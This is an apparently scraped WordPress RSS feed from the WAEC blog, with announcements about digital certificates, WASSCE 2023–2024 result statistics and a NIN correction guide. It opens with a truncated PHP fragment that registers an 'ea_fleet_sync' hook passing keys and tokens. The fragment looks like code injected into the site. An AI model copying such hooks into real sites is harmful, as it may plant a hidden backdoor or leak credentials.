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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Admin – WAEC https://blog.waec.org Digital Certificate Thu, 19 Feb 2026 09:01:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://blog.waec.org/wp-content/uploads/2022/10/cropped-waec_logo-3-32x32.png Admin – WAEC https://blog.waec.org 32 32 WAEC BEGINS FULL IMPLEMENTATION OF DIGITAL CERTIFICATE SERVICES ACROSS ITS MEMBER COUNTRIES https://blog.waec.org/waec-begins-full-implementation-of-digital-certificate-services-across-its-member-countries/ https://blog.waec.org/waec-begins-full-implementation-of-digital-certificate-services-across-its-member-countries/#comments Wed, 18 Feb 2026 16:18:23 +0000 https://blog.waec.org/?p=2691 The West African Examinations Council (WAEC) has unveiled the much-anticipated
WAEC Digital Certificate Services System (WAEC DigiCert) across all its member countries: The Gambia, Ghana, Liberia, Nigeria and Sierra Leone.


The Digital Certificate Services platform is a mobile and Web-based application that provides enormous benefits to the various stakeholders. It is designed to offer simple features that enable users to access, request, confirm or share digital forms of the original certificates. Users can also recover lost WAEC examination numbers on the system.


The system is reliable, the authenticity of the certificates is guaranteed and the cost benefits to users cannot be overstated. Following its successful pilot in Nigeria, WAEC DigiCert received positive feedback from candidates and educational institutions across the globe.


The general public and all stakeholders are advised to use WAEC DigiCert, to avoid administrative challenges and bottlenecks associated with the manual certificate issuance and collection.


The Mobile App can be downloaded on Apple Store or PlayStore for iOS and Android devices, respectively. For more information, visit www.waec.org or our official social media accounts @WAECDigicert.

]]> https://blog.waec.org/waec-begins-full-implementation-of-digital-certificate-services-across-its-member-countries/feed/ 28 WASSCE 2024 Certificates Now Available on the WAEC Digital Certificate Platform. https://blog.waec.org/wassce-2024-certificates-now-available-on-the-waec-digital-certificate-platform/ https://blog.waec.org/wassce-2024-certificates-now-available-on-the-waec-digital-certificate-platform/#comments Thu, 15 Aug 2024 13:03:22 +0000 https://blog.waec.org/?p=2663 The West African Examinations Council (WAEC), Nigeria, is pleased to announce that the certificates for the 2024 WASSCE for School Candidates are now available on the WAEC Digital Certificate Platform. Both candidates and institutions can access, download, share, and verify these certificates by visiting waec.org.
To access your digital certificate:

  1. Go to the WAEC Digital Certificate Platform at waec.org
  2. Log in to your account
  3. Follow the instructions to access, download, share, and verify your certificate.

The Digital Certificate Platform enhances the efficiency of accessing and verifying certificates, providing instant confirmation of authenticity while reducing the risk of fraud. This streamlined process not only saves time for students and institutions but also allows institutions to focus on other essential tasks. Congratulations to all candidates on their hard work and outstanding results. We wish you the best in your future endeavors.

For any further inquiries or assistance, please do not hesitate to contact us at support@waec.org

]]> https://blog.waec.org/wassce-2024-certificates-now-available-on-the-waec-digital-certificate-platform/feed/ 31 Correcting Information Errors on your NIN : A Step-by-Step Guide   https://blog.waec.org/correcting-information-errors-on-your-nin-a-step-by-step-guide/ https://blog.waec.org/correcting-information-errors-on-your-nin-a-step-by-step-guide/#comments Fri, 31 May 2024 09:12:23 +0000 https://blog.waec.org/?p=2653 The WAEC Digital Certificate Platform, available as a web and mobile-based application, enables users to seamlessly access, share, and confirm WAEC certificates. However, discrepancies between the information on your digital certificate profile and your identification documents, such as your NIN, BVN, and International Passport may prevent you from accessing your certificate on the platform.  

If you are having troubles verifying your identity on the digital certificate platform because of a name change on your NIN, here is a step-by-step self-service guide to correct name errors or discrepancies on your NIN: 

Step 1: Access the NIMC Self-Service Portal 

Visit the self-service modification portal at selfservicemodificatio.nimc.gov.ng/ from your computer or mobile device. 

Step 2: Select the Correction Type 

Select the type of correction type you require Change of Address, Update Phone Number, Address, or Modify Date of Birth. 

Step 3: Pay the Required Fee 

Please note that there are charges associated with each correction type: 

Change of Names: ₦1,522.50 

Change of Address: ₦1,522.50 

Change of Phone Number: ₦1,522.50 

Change of Date of Birth: ₦16,340.00 

Step 4: Additional Requirements for Date of Birth Correction 

If you are correcting your date of birth, make sure you have registered the new or corrected date of birth with the National Population Commission (NPC). Visit www.npc.gov.ng for more information. You will require a Sworn Affidavit to complete the birth certificate registration. 

Step 5: Complete the Registration 

Follow the prompts on the self-service portal to complete the registration process and securely make the necessary payments online. 

Step 6: Download or Print Your New Digital NIMC Card 

Once your corrections are processed, download, or print your new digital NIMC card with the updated information. 

By following these simple steps, you can correct all errors on your NIMC card from the comfort of your location. Remember, that certificate access on the platform will only be granted when you provide accurate identity verification information.  

]]> https://blog.waec.org/correcting-information-errors-on-your-nin-a-step-by-step-guide/feed/ 24 RELEASE OF RESULTS OF THE COMPUTER-BASED WEST AFRICAN SENIOR SCHOOL CERTIFICATE EXAMINATION (CB-WASSCE) FOR PRIVATE CANDIDATES, 2024-FIRST SERIES https://blog.waec.org/release-of-results-of-the-computer-based-west-african-senior-school-certificate-examination-cb-wassce-for-private-candidates-2024-first-series/ https://blog.waec.org/release-of-results-of-the-computer-based-west-african-senior-school-certificate-examination-cb-wassce-for-private-candidates-2024-first-series/#comments Mon, 25 Mar 2024 18:23:33 +0000 https://blog.waec.org/?p=2647 The West African Examinations Council (WAEC), Nigeria, wishes to announce to candidates, stakeholders, and the general public that the results of the first-ever Computer-Based West African Senior School Certificate Examination (CB-WASSCE) for Private Candidates, 2024-First Series, have been released.

Recall that the Council, in line with emerging best practices and continuous quest for excellence in its service delivery, commenced migration from the traditional Paper-Based Examinations (PBE) to Computer-Based Examinations (CBE) for its Private Candidates examinations. The novel CB-WASSCE entailed using a hybrid method where all questions were projected on the computer. Whereas answers to the multiple-choice questions were supplied on the computer real-time, answers to the essay and test of practical questions were supplied in booklets given to the candidates.

The examination was conducted between Wednesday, January 31 and Saturday, February 17, 2024. The Coordination of Examiners and Marking of Candidates® Scripts were carried out at THREE (3) Marking Venues in Lagos, Enugu and Kaduna from March 1 to 16, 2024.
A total of FOUR HUNDRED AND FIFTY-NINE (459) Examiners participated in the Coordination and Marking Exercise.

The entry figure of EIGHT THOUSAND, THREE HUNDRED AND SIXTY-TWO (8,362) candidates showed a 4.30% decrease in candidature when compared with the 2023 entry figure of EIGHT THOUSAND SEVEN HUNDRED AND THIRTY-EIGHT (8,738). EIGHT THOUSAND, ONE HUNDRED AND THIRTY-NINE (8,139) candidates sat the examination at ONE HUNDRED AND FORTY
(140) CBT centres spread across the country.

Amongst the candidates that sat the examination, TWENTY-ONE (21) candidates, with varying degrees of Special Needs, were registered for the examination. Out of this number, NINE (9) were visually challenged, TWO (2) had impaired hearing and TWO (2) were Albinos. All these candidates with special needs were adequately catered for in the administration of the examination.

Of the total number of EIGHT THOUSAND, ONE HUNDRED AND THIRTY-NINE (8,139) candidates that sat the examination, THREE THOUSAND, EIGHT HUNDRED AND SIXTY-TWO (3,862) were male while FOUR THOUSAND, TWO HUNDRED AND SEVENTY-SEVEN (4,277) were female, representing 47.45% and 52.55%, respectively.

Out of the total number of candidates that sat the examination, EIGHT THOUSAND AND SIX (8,006) candidates, representing 98.37% have their results fully processed and released while ONE HUNDRED AND THIRTY-THREE (133) candidates, representing 1.63% have a few of their subjects still being processed due to some errors traceable to them. However, efforts are being made to speedily complete the processing to enable all the affected candidates to get their results fully processed and released, subsequently.

The analysis of candidates’ performance showed that out of the EIGHT THOUSAND, ONE HUNDRED AND THIRTY-NINE (8,139) candidates that sat the examination:
THREE THOUSAND, FOUR HUNDRED AND TWENTY-FOUR (3,424) candidates representing 42.07% obtained credit and above in a minimum of FIVE (5) subjects (with or without English Language and/or Mathematics);
TWO THOUSAND, FIVE HUNDRED AND NINETEEN (2,519) candidates representing 30.95% obtained credit and above in a minimum of FIVE (5) subjects, including English Language and Mathematics.


Of this number, ONE THOUSAND, TWO HUNDRED AND EIGHTY-SIX (1,286), i.e. 51.05% were male candidates, while ONE THOUSAND, TWO HUNDRED AND THIRTY-THREE (1,233), i.e. 48.95% were female candidates. The percentage of candidates in this category in WASSCE for Private Candidates, 2022 and 2023 – First Series, that is, those who obtained credit and above in a minimum of five (5) subjects, including English Language and Mathematics, were 26.32% and 23.99% respectively. Thus, there is a marginal increase of 6.96% in performance in this regard.

SIXTY-FIVE (65) candidates’ results, representing 0.80% of the total number of candidates that sat the examination, are being withheld for various reported cases of examination malpractice. Comparatively, the reported cases of FOUR HUNDRED AND THIRTEEN (413) candidates or 4.95% recorded for WASSCE for Private Candidates, 2023- First Series evidently reveal that the method of examination administration drastically reduced examination malpractices. These reported cases are being investigated and reports of the investigations will be presented to the appropriate Committee of the Council for consideration. Thereafter, the Committee’s decisions will be communicated directly to the affected candidates. Meanwhile, candidates whose results are held / withheld can apply for redress by visiting https://waecinternational.org/complaints to register their complaints.

Candidates may check their results by visiting www.waecdirect.org to ascertain their status before visiting the Digital Certificate platform (www.waec.org) to access the digital copies of their certificates, which have been released along with their results. Candidates will be required to apply for the printing of the hard copies of their certificates online, through the WAEC Certificate Request Portal (e-Certman). The portal address is https://certrequest.waec.ng/

WAEC-Nigeria would like to congratulate all candidates who have worked hard and achieved great results. Our profound gratitude also goes to the government at all levels, Security Agencies, Ministries of Education, Staff, Supervisors, Invigilators, Custodians, Examiners, and other Ad-hoc personnel who, despite all odds, availed the Council of their services in ensuring the successful conduct of the examination and marking of scripts. The results are a testament to their dedication and hard work. We wish all the candidates the best in their future endeavours.

Once again, assure all our stakeholders of our dedication and commitment to excellent service delivery.


Signed by: Moyosola F. Adesina (Ag. Head, Public Affairs)
For: Head of National Office
Issued by the Public Affairs Department on – Friday, 22nd March, 2024

]]> https://blog.waec.org/release-of-results-of-the-computer-based-west-african-senior-school-certificate-examination-cb-wassce-for-private-candidates-2024-first-series/feed/ 9 RELEASE OF RESULTS OF THE WEST AFRICAN SENIOR SCHOOL CERTIFICATE EXAMINATION (WASSCE) FOR PRIVATE CANDIDATES, 2023-SECOND SERIES. https://blog.waec.org/release-of-results-of-the-west-african-senior-school-certificate-examination-wassce-for-private-candidates-2023-second-series/ https://blog.waec.org/release-of-results-of-the-west-african-senior-school-certificate-examination-wassce-for-private-candidates-2023-second-series/#comments Mon, 26 Feb 2024 11:57:45 +0000 https://blog.waec.org/?p=2642 The West African Examinations Council (WAEC), Nigeria, wishes to announce to candidates, stakeholders, and the general public that the results of the West African Senior School Certificate Examination (WASSCE) for private Candidates, 2023-Second Series, have been released.

The examination was conducted in Nigeria between Friday, October 27, 2023 and Wednesday, December 20, 2023. The Coordination of Examiners and Marking of Candidates’ Scripts were carried out at SEVEN (7) Marking Venues in Lagos, Ibadan, Akure, Benin, Enugu, Uyo, and Kaduna from Tuesday, January 16, to Tuesday, January 30, 2024. A total of FOUR THOUSAND ONE HUNDRED AND SIXTY-TWO (4,162) Examiners participated in the Coordination and Marking Exercise.

EIGHTY-FIVE THOUSAND, SIX HUNDRED (85,600) candidates, representing 10.07% increase, when compared with the 2022 entry figure of SEVENTY-SEVEN THOUSAND, SEVEN HUNDRED AND SIXTY-EIGHT (77,768), entered for the examination, while EIGHTY THOUSAND, NINE HUNDRED AND FOUR (80,904) candidates sat the examination at FIVE HUNDRED AND SIXTY-EIGHT (568) centres spread across the nooks and crannies of the country.

Amongst the candidates that sat the examination, TWO HUNDRED AND ELEVEN (211) candidates, with varying degrees of Special Needs, were registered for the examination. Out of this number, THIRTY-THREE (33) were visually challenged, TWENTY-ONE (21) had impaired hearing and THIRTY (30) were Albinos. All these candidates with special needs were adequately provided for in the administration of the examination.

Of the total number of EIGHTY THOUSAND, NINE HUNDRED AND FOUR (80,904) candidates that sat the examination, THIRTY-NINE THOUSAND, SEVEN HUNDRED AND NINETY (39,790) were males while FORTY-ONE THOUSAND, ONE HUNDRED AND FOURTEEN (41,114) were females, representing 49.18% and 50.82%, respectively.

Out of the total number of candidates that sat the examination, SEVENTY-EIGHT THOUSAND, FOUR HUNDRED AND NINETEEN (78,419) candidates, representing 96.93% have their results fully processed and released while TWO THOUSAND, FOUR HUNDRED AND EIGHTY-FIVE (2,485) candidates, representing 3.07% have a few of their subjects still being processed due to some errors traceable to them. However, efforts are being made to speedily complete the processing to enable all the affected candidates to get their results fully processed and released, soon.

The analysis of the performance of the candidates shows that out of the EIGHTY THOUSAND, NINE HUNDRED AND FOUR (80,904) candidates that sat the examination:

  • FORTY-SIX THOUSAND, TWO HUNDRED AND SIXTY-SEVEN (46,267) candidates representing 57.19% obtained credit and above in a minimum of FIVE (5) subjects (with or without English Language and/or Mathematics);
  • THIRTY-FIVE THOUSAND, EIGHT HUNDRED AND THIRTY (35,830) candidates representing 44.29% obtained credit and above in a minimum of FIVE (5) subjects, including English Language and Mathematics.

Of this number, SEVENTEEN THOUSAND, SIX HUNDRED AND THIRTY-ONE (17,631) i.e., 49.21% were male candidates, while EIGHTEEN THOUSAND, ONE HUNDRED AND NINETY-NINE (18,199), i.e., 50.79% were female candidates. The percentage of candidates in this category in WASSCE for Private Candidates, 2021 and 2022 – Second Series, that is, those who obtained credit and above in a minimum of five (5) subjects, including English Language and Mathematics, were 48.61% and 42.16% respectively. Thus, there is a marginal increase of 2.13% in performance in this regard.

This analysis, however, cannot be compared with that of WASSCE for School Candidates. Whereas the candidates in WASSCE for School Candidates are compelled to sit eight or nine subjects, the candidates in WASSCE for Private Candidates, though can register for eight or nine subjects, are not compelled to take all. They are free to sit, even one subject, depending on the deficiency they want to remedy. For them, therefore, the examination is only a remedial one – a remedy for an existing deficiency. From the above, it will not be true or fair to say that the performance in this examination has dwindled.

The results of SEVEN THOUSAND, ONE HUNDRED AND NINETY-TWO (7,192) candidates, representing 8.89% of the total number of candidates that sat the examination, are being withheld in connection with various reported cases of examination malpractice. The cases are being investigated and reports of the investigations will be presented to the appropriate Committee of the Council for consideration. Thereafter, the Committee’s decisions will be communicated directly to the affected candidates.

Candidates may check their results by visiting www.waecdirect.org and ascertain their status before visiting the Digital Certificate platform (www.waec.org) to access the digital copies of their certificates, which have been released along with their results. Candidates may also be required to apply for the printing of the hard copies of their certificates, online, through the WAEC Certificate Request Portal (e-Certman) website: https:/ /certrequest.waec.ng/.

WAEC-Nigeria would like to congratulate all candidates who have worked hard and achieved great results. Our profound gratitude also goes to the Government at all levels, Security Agencies, Ministries of Education, Staff, Supervisors, Invigilators, Custodians, Examiners, and other Ad-hoc personnel who, despite all odds, availed the Council of their services in ensuring the successful conduct of the examination and marking of scripts. The results are a testament to their dedication and hard work. We wish all the candidates the best in their future endeavours.

Once again, we assure all our stakeholders of our dedication and commitment to serving the Nigerian Child.

Signed by: Moyosola F. Adesina (Ag. Head, Public Affairs)

For: Head of National Office

Issued by the Public Affairs Department on – Tuesday, 13th February, 2024

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